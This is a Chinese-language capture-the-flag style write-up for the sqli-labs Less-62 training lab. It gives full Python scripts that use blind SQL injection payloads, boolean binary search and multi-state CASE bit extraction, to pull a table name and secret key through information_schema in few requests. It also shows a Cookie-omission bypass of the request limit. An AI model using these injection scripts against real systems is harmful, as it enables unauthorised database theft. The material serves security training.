sqli-labs靶场Less-62题目，是通过布尔注入获取一段secret key，该key存于challenges数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。

靶场搭建

直接用docker搭建：sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

二分法

该注入点是id参数，SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1，注入时用')闭合。一般思路是先获取存key的表的表名，再获取key所在的列的列名，再获取key。表名有10个字符，由大写字母和数字构成；列名为secret_4个字符，这4个字符由大写字母和数字构成；secret key为24个字符，由大小写字母和数字构成。

下面的脚本采用二分法比较ASCII码来获取数据，请求次数在210次左右。而题目要求是130次内，不过请求不带Cookie可绕过了这个限制。

#!/usr/bin/python3
# -*-coding:utf-8-*-
import requests
import string

"""
表名：10个字符。有大写字母和数字构成
列名：secret_接4个字符，这4个字符由大写字母和数字构成
secret：24个字符，由大小写字母和数字构成
"""

un_chars = string.digits + string.ascii_uppercase  # 按ASCII码从小到大排序
uln_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase  # 按ASCII码从小到大排序
url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_data(tmpl_payload, length, chars):
    global try_count
    result = ""
    for i in range(1, length + 1):
        left, right = 0, len(chars) - 1
        while left < right:
            m = (left + right) // 2  # 左中位数
            payload = tmpl_payload % (i, ord(chars[m]))
            resp = requests.get(url, params={"id": payload})
            try_count += 1  # 统计请求个数
            if "Your Login name" in resp.text:
                left = m + 1
            else:
                right = m
        result += chars[left]

    return result


table_name = extract_data(
    "1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#",
    10, un_chars
)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
    "1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#",
    4, un_chars
)
print("column_name:", column_name)

secret_key = extract_data(
    "1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#",
    24, uln_chars
)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

利用多状态

虽说上面可以绕过尝试次数限制，那如果就要尝试次数在130次内呢。

上面的二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False，响应里有两种状态：有查询结果和无查询结果。其实响应里存在多个状态，id为1时返回的Login name为Angelina，为2时返回的是Dummy，还有为3，为4，为5等。假如我们要判断数据库里一个字符中的N个比特是什么，我们需要2的N次方个状态，如：我们要判断某串字符串第i个字符的第j位开始的三个比特是否为：000，001，010，011，100，101，110或111，写成SQL语句就是：

SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2))
    WHEN 0 THEN 1
    WHEN 2**j THEN 2
    WHEN 2**(j+1) THEN 3
    WHEN 2**(j+1) + 2**j THEN 4
    WHEN 2**(j+2) THEN 5
    WHEN 2**(j+2) + 2**j THEN 6
    WHEN 2**(j+2) + 2**(j+1) THEN 7
    ELSE 8
END

因为users表里的数据有13条，也就是13个状态，大于8，小于16，所以每次请求通过比较8个状态获取3个比特的数据。

一个小问题：为什么id为1时，返回的name是Angelina？而数据库里id为1的name是Dumb？

因为响应中返回的name是从硬编码在PHP代码里的数组里通过下标获取的，看代码：https://github.com/Audi-1/sqli-labs/blob/886b0dcc733c1a36caf10cfba076397b9e09ce7f/Less-62/index.php#L104

通过上面的思路，编写脚本如下。请求次数减少到114次。

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
    """
    获取query执行结果的第 i 个（从1开始算）字符的第 j 位开始的 3 个比特
    """
    global try_count

    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    info = {
        "Angelina": "000",
        "Dummy": "001",
        "secure": "010",
        "stupid": "011",
        "superman": "100",
        "batman": "101",
        "admin": "110",
        "admin1": "111"
    }

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    bits = info.get(match.group(1))
    assert bits
    return bits


def extract_data(query, length):
    res = ""
    for i in range(1, length+1):
        b3 = extract_bits(query, i, 0)  # 00000111
        b2 = extract_bits(query, i, 3)  # 00111000
        b1 = extract_bits(query, i, 5)  # 11100000
        bit = b1[:2] + b2 + b3
        res += chr(int(bit, 2))
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    column_name = "secret_" + extract_data(
        "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
        4
    )
    print("column_name:", column_name)

    secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

再减少点次数

上面通过获取表名，再列名，再key。其实也可以不获取列名，只要知道表里有多少列，key所在的列在第几列即可，少点尝试次数。将上面main块的代码改成：

if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)   # 主要改的是这一句
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

请求次数是102次。

再减少些次数

一般MySQL的表名是区分大小写的，而在字符串比较的时候是不区分大小写的。进到docker容器里（sudo docker exec -it sqli-lab mysql）执行下面SQL语句测试下：

use security

SELECT * FROM users;  # 返回了数据
SELECT * FROM userS;  # 报错，表名不存在
SELECT * FROM users WHERE username='admin';  # 返回admin
SELECT * FROM users WHERE username='ADMIn';  # 还是可以返回admin

再看sqli-labs比较key是否正确的SQL语句（代码在这）：

SELECT 1 FROM $table WHERE $col1= '$key';

所以在获取key时，可以不管字母的大小写。而对于表名，它的构成是大写字母和数字，也用不着理会它的大小写。

再看数字、大写字母、小写字母的ASCII码的二进制格式：

数字： 0011xxxx
大写： 010xxxxx
小写： 011xxxxx

在获取表名或key时，我们判断第7位（比特）是不是1就知道该字符是数字或字母；而第6位不用管，因为对于数字，该位为1，对于字母，我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符，我们只需获取第7位和前5位即可。

编写脚本如下：

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, bit_values: list):
    """
    获取query执行结果的第 i 个（从1开始算）字符的3个比特
    哪3个比特由bit_values指定
    """
    global try_count

    assert len(bit_values) == 8
    bit_marks = 0
    for v in bit_values:
        bit_marks |= v


    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    assert match.group(1) in infos
    bits = bit_values[infos.index(match.group(1))]
    return bits

def extract_data(query, length):
    """
    获取query查询结果的length个字符，每个字符只获取其第7位和前5位
    """
    res = ""
    for i in range(1, length+1):
        b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111])  # 00000111
        b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000])  # 01011000
        if b1 & 0b01000000 == 0:
            # 该字符为数字
            bit = b1 | b2 | 0b00100000
        else:
            # 该字符为字母
            bit = b1 | b2
        res += chr(bit)
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

请求次数是68次。